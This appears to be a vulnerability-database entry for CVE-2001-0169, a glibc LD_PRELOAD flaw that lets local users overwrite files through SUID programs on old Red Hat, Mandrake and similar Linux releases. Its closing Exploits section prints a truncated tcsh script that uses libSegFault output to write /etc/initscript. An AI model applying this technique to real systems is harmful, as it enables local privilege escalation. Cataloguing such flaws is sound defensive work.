2.1
CVSSv2

CVE-2001-0169

Published: 26/03/2001 Updated: 10/10/2017
CVSS v2 Base Score: 2.1 | Impact Score: 2.9 | Exploitability Score: 3.9
VMScore: 215
Vector: AV:L/AC:L/Au:N/C:N/I:P/A:N

Vulnerability Summary

When using the LD_PRELOAD environmental variable in SUID or SGID applications, glibc does not verify that preloaded libraries in /etc/ld.so.cache are also SUID/SGID, which could allow a local user to overwrite arbitrary files by loading a library from /lib or /usr/lib.

Vulnerable Product Search on Vulmon Subscribe to Product

mandrakesoft mandrake linux corporate server 1.0.1

redhat linux 6.0

redhat linux 6.2

mandrakesoft mandrake linux 6.1

mandrakesoft mandrake linux 7.0

redhat linux 6.1

turbolinux turbolinux

mandrakesoft mandrake linux 7.1

mandrakesoft mandrake linux 7.2

mandrakesoft mandrake linux 6.0

trustix secure linux 1.1

trustix secure linux 1.2

turbolinux turbolinux 6.1

Vendor Advisories

The version of GNU libc that was distributed with Debian GNU/Linux 22 suffered from 2 security problems: It was possible to use LD_PRELOAD to load libraries that are listed in /etc/ldsocache, even for suid programs This could be used to create (and overwrite) files which a user should not be allowed to By using LD_PROFILE suid programs would ...

Exploits

#!/bin/tcsh # przyklad wykorzystania dziury w LD_PRELOAD # shadow (tested on redhat 60, should work on others) if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje cd /lib umask 0 setenv LD_PRELOAD libSegFaultso setenv SEGFAULT_OUTPUT_NAME /etc/initscript echo czekaj to moze chwile potrwac while (! -e /etc/initscript ) ( userhe ...